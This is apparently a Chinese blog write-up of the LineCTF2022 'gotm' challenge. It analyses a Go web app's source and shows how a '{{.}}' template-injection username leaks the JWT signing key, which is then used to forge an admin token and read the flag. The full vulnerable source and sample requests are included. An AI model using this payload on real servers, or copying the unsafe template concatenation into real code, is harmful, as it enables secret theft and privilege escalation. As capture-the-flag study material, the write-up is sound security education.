LineCTF2022-gotm


LineCTF2022-gotm

知识点概要:SSTI模板注入、JWT伪造

题目给出了go源码(末尾有完整代码)

Account结构体,主要就四个属性

type Account struct {
	id         string
	pw         string
	is_admin   bool
	secret_key string
}

注册功能:http.HandleFunc("/regist", regist_handler)

func regist_handler(w http.ResponseWriter, r *http.Request) {
	uid := r.FormValue("id")	#读取参数id值
	upw := r.FormValue("pw")	#读取参数pw值

	if uid == "" || upw == "" {	#判断id和pw是否为空
		return
	}

	if get_account(uid).id != "" {	#根据id判断,若用户已存在,报错
		w.WriteHeader(http.StatusForbidden)
		return
	}
	if len(acc) > 4 {
		clear_account()
	}
	new_acc := Account{uid, upw, false, secret_key}	#创建账户的四个属性,只有id和pw可控
	acc = append(acc, new_acc)

	p := Resp{true, ""}
	res, err := json.Marshal(p)
	if err != nil {
	}
	w.Write(res)
	return
}

注册用户传参如下,注册成功

/regist?id=2&pw=password

get_account()函数

func get_account(uid string) Account {
	for i := range acc {
		if acc[i].id == uid {
			return acc[i]
		}
	}
	return Account{}
}

acc在代码前面的定义是var acc []Account,是全局数组变量

登录认证功能:http.HandleFunc("/auth", auth_handler)

func auth_handler(w http.ResponseWriter, r *http.Request) {
	uid := r.FormValue("id")
	upw := r.FormValue("pw")
	if uid == "" || upw == "" {
		return
	}
	if len(acc) > 1024 {
		clear_account()
	}
	user_acc := get_account(uid)
	if user_acc.id != "" && user_acc.pw == upw {
		token, err := jwt_encode(user_acc.id, user_acc.is_admin)	#生成jwt
		if err != nil {
			return
		}
		p := TokenResp{true, token}	#返回jwt
		res, err := json.Marshal(p)
		if err != nil {
		}
		w.Write(res)
		return
	}
	w.WriteHeader(http.StatusForbidden)
	return
}

用刚才注册的账户认证,认证成功,返回jwt

/auth?id=2&pw=password

{"status":true,"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjIiLCJpc19hZG1pbiI6ZmFsc2V9.e418r9xtLSloAZhbw0hbSa-xOF03AqyBoovOzWRkHoA"}

SSTI漏洞产生位置:http.HandleFunc("/", root_handler)

func root_handler(w http.ResponseWriter, r *http.Request) {
	token := r.Header.Get("X-Token")
	if token != "" {
		id, _ := jwt_decode(token)	#从jwt中解析出id属性
		acc := get_account(id)	#根据id,查找账户
		tpl, err := template.New("").Parse("Logged in as " + acc.id) #acc.id存在SSTI
		if err != nil {
		}
		tpl.Execute(w, &acc)
	} else {

		return
	}
}

flag读取功能:http.HandleFunc("/flag", flag_handler)

func flag_handler(w http.ResponseWriter, r *http.Request) {
	token := r.Header.Get("X-Token")	
	if token != "" {
		id, is_admin := jwt_decode(token)	#从jwt解析出id和is_admin属性
		if is_admin == true {	#判断is_admin属性为true才可以返回flag
			p := Resp{true, "Hi " + id + ", flag is " + flag}
			res, err := json.Marshal(p)
			if err != nil {
			}
			w.Write(res)
			return
		} else {
			w.WriteHeader(http.StatusForbidden)
			return
		}
	}
}

根据regist_handler(),我们知道注册账户时,默认给的is_admin属性为false

此处要让flag_handler()返回flag,我们需要通过伪造jwt把is_admin属性修改为true

又由于jwt编码过程中需要用到secret_key作签名密钥,secret_key是环境变量,就需要通过SSTI漏洞把secret_key读出来

secret_key定义:

var secret_key = os.Getenv("KEY")

jwt_encode()函数:

func jwt_encode(id string, is_admin bool) (string, error) {
	claims := AccountClaims{
		id, is_admin, jwt.StandardClaims{},
	}
	token := jwt.NewWithClaims(jwt.SigningMethodHS256, claims)
	return token.SignedString([]byte(secret_key))
}

SSTI注入参考:https://forum.butian.net/share/1286

常规思路可以注入{{.}}{{.secret_key}}来读secret_key属性,但此处由于root_handler()函数得到的acc是数组中的地址,也就是get_account函数通过在全局变量acc数组中查找我们的用户,这种情况下直接注入{{.secret_key}}会返回空,所以此处只能用{{.}}来返回全部属性

注册、认证获取jwt的请求和响应如下

/regist?id={{.}}&pw=password
{"status":true,"msg":""}

/auth?id={{.}}&pw=password
{"status":true,"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Int7Ln19IiwiaXNfYWRtaW4iOmZhbHNlfQ.0Lz_3fTyhGxWGwZnw3hM_5TzDfrk0oULzLWF4rRfMss"}

在根目录传入X-Token头部,成功读到secret_key

伪造jwt,修改如下

在/flag传入伪造的jwt,获取flag

参考

https://blog.csdn.net/weixin_46081055/article/details/124201444

https://tyskill.github.io/posts/gossti/

完整源码

package main

import (
	"encoding/json"
	"fmt"
	"log"
	"net/http"
	"os"
	"text/template"

	"github.com/golang-jwt/jwt"
)

type Account struct {
	id         string
	pw         string
	is_admin   bool
	secret_key string
}

type AccountClaims struct {
	Id       string `json:"id"`
	Is_admin bool   `json:"is_admin"`
	jwt.StandardClaims
}

type Resp struct {
	Status bool   `json:"status"`
	Msg    string `json:"msg"`
}

type TokenResp struct {
	Status bool   `json:"status"`
	Token  string `json:"token"`
}

var acc []Account
var secret_key = os.Getenv("KEY")
var flag = os.Getenv("FLAG")
var admin_id = os.Getenv("ADMIN_ID")
var admin_pw = os.Getenv("ADMIN_PW")

func clear_account() {
	acc = acc[:1]
}

func get_account(uid string) Account {
	for i := range acc {
		if acc[i].id == uid {
			return acc[i]
		}
	}
	return Account{}
}

func jwt_encode(id string, is_admin bool) (string, error) {
	claims := AccountClaims{
		id, is_admin, jwt.StandardClaims{},
	}
	token := jwt.NewWithClaims(jwt.SigningMethodHS256, claims)
	return token.SignedString([]byte(secret_key))
}

func jwt_decode(s string) (string, bool) {
	token, err := jwt.ParseWithClaims(s, &AccountClaims{}, func(token *jwt.Token) (interface{}, error) {
		return []byte(secret_key), nil
	})
	if err != nil {
		fmt.Println(err)
		return "", false
	}
	if claims, ok := token.Claims.(*AccountClaims); ok && token.Valid {
		return claims.Id, claims.Is_admin
	}
	return "", false
}

func auth_handler(w http.ResponseWriter, r *http.Request) {
	uid := r.FormValue("id")
	upw := r.FormValue("pw")
	if uid == "" || upw == "" {
		return
	}
	if len(acc) > 1024 {
		clear_account()
	}
	user_acc := get_account(uid)
	if user_acc.id != "" && user_acc.pw == upw {
		token, err := jwt_encode(user_acc.id, user_acc.is_admin)
		if err != nil {
			return
		}
		p := TokenResp{true, token}
		res, err := json.Marshal(p)
		if err != nil {
		}
		w.Write(res)
		return
	}
	w.WriteHeader(http.StatusForbidden)
	return
}

func regist_handler(w http.ResponseWriter, r *http.Request) {
	uid := r.FormValue("id")
	upw := r.FormValue("pw")

	if uid == "" || upw == "" {
		return
	}

	if get_account(uid).id != "" {
		w.WriteHeader(http.StatusForbidden)
		return
	}
	if len(acc) > 4 {
		clear_account()
	}
	new_acc := Account{uid, upw, false, secret_key}
	acc = append(acc, new_acc)

	p := Resp{true, ""}
	res, err := json.Marshal(p)
	if err != nil {
	}
	w.Write(res)
	return
}

func flag_handler(w http.ResponseWriter, r *http.Request) {
	token := r.Header.Get("X-Token")
	if token != "" {
		id, is_admin := jwt_decode(token)
		if is_admin == true {
			p := Resp{true, "Hi " + id + ", flag is " + flag}
			res, err := json.Marshal(p)
			if err != nil {
			}
			w.Write(res)
			return
		} else {
			w.WriteHeader(http.StatusForbidden)
			return
		}
	}
}

func root_handler(w http.ResponseWriter, r *http.Request) {
	token := r.Header.Get("X-Token")
	if token != "" {
		id, _ := jwt_decode(token)
		acc := get_account(id)
		tpl, err := template.New("").Parse("Logged in as " + acc.id)
		if err != nil {
		}
		tpl.Execute(w, &acc)
	} else {

		return
	}
}

func main() {
	admin := Account{admin_id, admin_pw, true, secret_key}
	acc = append(acc, admin)

	http.HandleFunc("/", root_handler)
	http.HandleFunc("/auth", auth_handler)
	http.HandleFunc("/flag", flag_handler)
	http.HandleFunc("/regist", regist_handler)
	log.Fatal(http.ListenAndServe("0.0.0.0:11000", nil))
}

文章作者: wa0er
版权声明: 本博客所有文章除特別声明外,均采用 CC BY-NC 4.0 许可协议。转载请注明来源 wa0er !
评论
  目录